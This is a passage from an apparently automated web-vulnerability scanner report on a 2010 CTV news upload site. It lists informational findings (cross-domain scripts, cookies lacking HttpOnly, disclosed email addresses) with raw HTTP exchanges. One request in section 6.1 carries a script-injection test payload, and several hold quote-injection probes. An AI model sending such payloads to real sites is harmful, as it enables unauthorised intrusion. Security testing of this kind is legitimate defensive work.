Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Mynews.%25253Actvnews%252520%25253A%252520affiliate%252520%25253A%252520toronto%252520%25253A%252520mynews%252520%25253A%252520login%252520or%252520register%2526pidt%253D1%2526oid%253DLogin%2526oidt%253D3%2526ot%253DSUBMIT%2526oi%253D351; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; SABRE_ID=ce335cd639139dcdc26634abb485da12; __utma=230519040.239715385.1290228663.1290228663.1290228663.1; __utmb=230519040.1.10.1290228663; __utmc=230519040; __utmz=230519040.1290228663.1.1.utmcsr=toronto.ctv.ca|utmccn=(referral)|utmcmd=referral|utmcct=/servlet/HTMLTemplate/

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:53:09 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 28872

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<met
...[SNIP]...
</script>


<script language="javascript1.1" src="http://www.ctv.ca/generic/dynInclude/ads/js/siteBannerC2.js"></script>
...[SNIP]...
<![endif]-->


<script language="JavaScript" type="text/javascript" src="http://www.ctv.ca/generic/js/shared990/common.js"></script>
...[SNIP]...
<link rel="shortcut icon" href="http://images.ctv.ca/favicon.gif" type="image/x-icon" />


<script type="text/javascript" src="http://www.ctv.ca/v2/inc/newsHeaderStaticJS.js"></script>
...[SNIP]...
</script><script language="javascript1.1" src="http://www.ctv.ca/mar/hbx/hbx.js"></script>
...[SNIP]...
<link href="http://www.ctv.ca/v2/css/footer.css" rel="stylesheet" type="text/css" media="all"/>
<script type="text/javascript" src="http://www.ctv.ca/v2/inc/galleryFooterJS.js"></script>
...[SNIP]...

5.3. http://mynews.ctv.ca/mediaAll  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /mediaAll

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /mediaAll?siteT=&q=%27%27%27%27&x=22&y=1 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://mynews.ctv.ca/upload?siteT=
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.11.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Mynews.%25253Actvnews%252520%25253A%252520mynews%252520%25253A%252520uploader%2526pidt%253D1%2526oid%253Dhttp%25253A//assets.filemobile.com/43/images/search_button.gif%2526ot%253DIMAGE%2526oi%253D431; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; SABRE_ID=32f819b6f25896ac34946b80bd07f6c9; __utma=230519040.239715385.1290228663.1290228663.1290228663.1; __utmb=230519040.3.10.1290228663; __utmc=230519040; __utmz=230519040.1290228663.1.1.utmcsr=toronto.ctv.ca|utmccn=(referral)|utmcmd=referral|utmcct=/servlet/HTMLTemplate/

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:56:20 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 22023

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<met
...[SNIP]...
</script>


<script language="javascript1.1" src="http://www.ctv.ca/generic/dynInclude/ads/js/siteBannerC2.js"></script>
...[SNIP]...
<![endif]-->


<script language="JavaScript" type="text/javascript" src="http://www.ctv.ca/generic/js/shared990/common.js"></script>
...[SNIP]...
<link rel="shortcut icon" href="http://images.ctv.ca/favicon.gif" type="image/x-icon" />


<script type="text/javascript" src="http://www.ctv.ca/v2/inc/newsHeaderStaticJS.js"></script>
...[SNIP]...
<div class="fmContent">


<script language="javascript" type="text/javascript" src="http://assets.filemobile.com/43/jquery-1.2.3.pack.js"></script>
<script language="javascript" type="text/javascript" src="http://assets.filemobile.com/43/jquery.truncate-2.3.js"></script>
...[SNIP]...
</script><script language="javascript1.1" src="http://www.ctv.ca/mar/hbx/hbx.js"></script>
...[SNIP]...
<link href="http://www.ctv.ca/v2/css/footer.css" rel="stylesheet" type="text/css" media="all"/>
<script type="text/javascript" src="http://www.ctv.ca/v2/inc/galleryFooterJS.js"></script>
...[SNIP]...

5.4. http://mynews.ctv.ca/upload  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /upload

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /upload?siteT= HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://mynews.ctv.ca/login?msg=incorrectcredentials&redirecturl=%2Fupload%3FsiteT%3Dtoronto
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.10.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; SABRE_ID=32f819b6f25896ac34946b80bd07f6c9; __utma=230519040.239715385.1290228663.1290228663.1290228663.1; __utmb=230519040.2.10.1290228663; __utmc=230519040; __utmz=230519040.1290228663.1.1.utmcsr=toronto.ctv.ca|utmccn=(referral)|utmcmd=referral|utmcct=/servlet/HTMLTemplate/

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:54:56 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 29893

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<met
...[SNIP]...
</script>


<script language="javascript1.1" src="http://www.ctv.ca/generic/dynInclude/ads/js/siteBannerC2.js"></script>
...[SNIP]...
<![endif]-->


<script language="JavaScript" type="text/javascript" src="http://www.ctv.ca/generic/js/shared990/common.js"></script>
...[SNIP]...
<link rel="shortcut icon" href="http://images.ctv.ca/favicon.gif" type="image/x-icon" />


<script type="text/javascript" src="http://www.ctv.ca/v2/inc/newsHeaderStaticJS.js"></script>
...[SNIP]...
</script>


<script src="http://maps.google.com/maps?file=api&amp;v=2&amp;sensor=true&amp;key=ABQIAAAAW9ZHoPxZE3H3T5MwQUcShRTO9ohv0Ponpq6kiwUGWCsxp_xmNhRczMWICumGrZ2S3nNvBGSqYk6Z4Q" type="text/javascript"></script>

<script src="http://assets.filemobile.com/43/uploaderjs.js" type="text/javascript"></script>
...[SNIP]...
</script><script language="javascript1.1" src="http://www.ctv.ca/mar/hbx/hbx.js"></script>
...[SNIP]...
<link href="http://www.ctv.ca/v2/css/footer.css" rel="stylesheet" type="text/css" media="all"/>
<script type="text/javascript" src="http://www.ctv.ca/v2/inc/galleryFooterJS.js"></script>
...[SNIP]...

5.5. http://mynews.ctv.ca/upload  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /upload

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /upload?siteT=toronto HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://toronto.ctv.ca/servlet/HTMLTemplate/?tf=ctvlocal%2Fhub%2FhubCap.html&cf=ctvlocal%2Ftoronto990.cfg&hub=Toronto&page=search&site_codename=Toronto&query=%3E%3E&x=27&y=3
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Toronto%25253Actvnews%252520%25253A%252520affiliate%252520%25253A%252520toronto%252520%25253A%252520search%252520%25253A%252520search%2526pidt%253D1%2526oid%253Dhttp%25253A//mynews.ctv.ca/upload%25253FsiteT%25253Dtoronto%2526ot%253DA%2526oi%253D160; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:52:02 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Set-Cookie: SABRE_ID=ce335cd639139dcdc26634abb485da12; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 42129

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<met
...[SNIP]...
<link rel="stylesheet" href="http://toronto.ctv.ca/tl/inc/js/ctvbc_menu.css" type="text/css" />

<script type="text/javascript" src="http://toronto.ctv.ca/tl/inc/js/ctvbc_menu.js"></script>
...[SNIP]...
</script>


<script language="javascript1.1" src="http://www.ctv.ca/generic/dynInclude/ads/js/siteBannerC2.js"></script>
...[SNIP]...
</style>


<script language="JavaScript" type="text/javascript" src="http://www.ctv.ca/generic/js/shared990/common.js"></script>
...[SNIP]...
</script>
<script src="http://assets.filemobile.com/43/AC_RunActiveContent.js" language="javascript"></script>
...[SNIP]...
</script><script language="javascript1.1" src="http://www.ctv.ca/mar/hbx/hbx.js"></script>
...[SNIP]...
<link href="http://www.ctv.ca/v2/css/footer.css" rel="stylesheet" type="text/css" media="all"/>
<script type="text/javascript" src="http://www.ctv.ca/v2/inc/galleryFooterJS.js"></script>
...[SNIP]...

6. Cookie without HttpOnly flag set  previous  next
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



6.1. http://mynews.ctv.ca//servlet/HTMLTemplate/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   //servlet/HTMLTemplate/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET //servlet/HTMLTemplate/?tf=ctvlocal%2Fhub%2FhubCap.html&cf=ctvlocal%2Ftoronto990.cfg&hub=Toronto&page=search&site_codename=Toronto&query=%27%277c67e%22%3E%3Cscript%3Ealert(1)%3C/script%3E3d824a34752&x=24&y=6 HTTP/1.1
Host: mynews.ctv.ca
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 05:00:03 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Set-Cookie: SABRE_ID=c34988c1bdad8742d8db6db67424b46b; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 9251

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<met
...[SNIP]...

6.2. http://mynews.ctv.ca/upload  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /upload

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /upload?siteT=toronto HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://toronto.ctv.ca/servlet/HTMLTemplate/?tf=ctvlocal%2Fhub%2FhubCap.html&cf=ctvlocal%2Ftoronto990.cfg&hub=Toronto&page=search&site_codename=Toronto&query=%3E%3E&x=27&y=3
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Toronto%25253Actvnews%252520%25253A%252520affiliate%252520%25253A%252520toronto%252520%25253A%252520search%252520%25253A%252520search%2526pidt%253D1%2526oid%253Dhttp%25253A//mynews.ctv.ca/upload%25253FsiteT%25253Dtoronto%2526ot%253DA%2526oi%253D160; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:52:02 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Set-Cookie: SABRE_ID=ce335cd639139dcdc26634abb485da12; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 42129

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<met
...[SNIP]...

7. Email addresses disclosed  previous  next
There are 5 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


7.1. http://mynews.ctv.ca/login  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /login

Issue detail

The following email addresses were disclosed in the response:

Request

GET /login?msg=incorrectcredentials&redirecturl=%2Fupload%3FsiteT%3Dtoronto HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://mynews.ctv.ca/upload?siteT=toronto
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Mynews.%25253Actvnews%252520%25253A%252520affiliate%252520%25253A%252520toronto%252520%25253A%252520mynews%252520%25253A%252520login%252520or%252520register%2526pidt%253D1%2526oid%253DLogin%2526oidt%253D3%2526ot%253DSUBMIT%2526oi%253D351; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; SABRE_ID=ce335cd639139dcdc26634abb485da12; __utma=230519040.239715385.1290228663.1290228663.1290228663.1; __utmb=230519040.1.10.1290228663; __utmc=230519040; __utmz=230519040.1290228663.1.1.utmcsr=toronto.ctv.ca|utmccn=(referral)|utmcmd=referral|utmcct=/servlet/HTMLTemplate/

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:53:09 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 28872

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<met
...[SNIP]...
<p style="margin-top: 5px; margin-left: 10px">e.g. yourname@yourdomain.com</p>
...[SNIP]...
<a href="mailto:mynews@ctv.ca">mynews@ctv.ca</a>
...[SNIP]...

7.2. http://mynews.ctv.ca/mediaAll  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /mediaAll

Issue detail

The following email address was disclosed in the response:

Request

GET /mediaAll?siteT=&q=%27%27%27%27&x=22&y=1 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://mynews.ctv.ca/upload?siteT=
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.11.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Mynews.%25253Actvnews%252520%25253A%252520mynews%252520%25253A%252520uploader%2526pidt%253D1%2526oid%253Dhttp%25253A//assets.filemobile.com/43/images/search_button.gif%2526ot%253DIMAGE%2526oi%253D431; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; SABRE_ID=32f819b6f25896ac34946b80bd07f6c9; __utma=230519040.239715385.1290228663.1290228663.1290228663.1; __utmb=230519040.3.10.1290228663; __utmc=230519040; __utmz=230519040.1290228663.1.1.utmcsr=toronto.ctv.ca|utmccn=(referral)|utmcmd=referral|utmcct=/servlet/HTMLTemplate/

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:56:20 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 22023

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<met
...[SNIP]...
<a href="mailto:mynews@ctv.ca">mynews@ctv.ca</a>
...[SNIP]...

7.3. http://mynews.ctv.ca/services/jslibrary  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /services/jslibrary

Issue detail

The following email address was disclosed in the response:

Request

GET /services/jslibrary HTTP/1.1
Accept: */*
Referer: http://www.ctv.ca/generic/generated/electionHomeAMFrame.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV%25253Actvnews%252520%25253A%252520search%252520%25253A%252520hub%252520%25253A%252520search%2526pidt%253D1%2526oid%253Dhttp%25253A//toronto.ctv.ca/%2526ot%253DA%2526oi%253D113; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:49:53 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www1
ETag: 966ead87df812304c5c6911b975d3278
Last-Modified: Sat, 20 Nov 2010 04:49:53 GMT
Expires: Sat, 20 Nov 2010 05:49:53 GMT
Cache-Control: private,max-age=3600, must-revalidate
Vary: Accept-Encoding
Content-Type: text/javascript;charset=utf-8
X-Cache-Lookup: MISS from www1.filemobile.com:80
Via: 1.1 www1.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 175174

/***************************************************************/
/* SabreTooth 5 JavaScript library loader */
/* */
/*
...[SNIP]...
v1.7.0, Fri Jan 19 19:16:36 CET 2007

// Copyright (c) 2005, 2006 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
// (c) 2005, 2006 Sammi Williams (http://www.oriontransfer.co.nz, sammi@oriontransfer.co.nz)
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/

if(typeof Effect == 'undefined')
t
...[SNIP]...

7.4. http://mynews.ctv.ca/services/jslibrary/1.1  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /services/jslibrary/1.1

Issue detail

The following email address was disclosed in the response:

Request

GET /services/jslibrary/1.1 HTTP/1.1
Accept: */*
Referer: http://mynews.ctv.ca/upload?siteT=toronto
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Toronto%25253Actvnews%252520%25253A%252520affiliate%252520%25253A%252520toronto%252520%25253A%252520search%252520%25253A%252520search%2526pidt%253D1%2526oid%253Dhttp%25253A//mynews.ctv.ca/upload%25253FsiteT%25253Dtoronto%2526ot%253DA%2526oi%253D160; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]; SABRE_ID=ce335cd639139dcdc26634abb485da12

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:52:03 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
ETag: 29ea00ac8be0e3d857ca8a4f36465ec8
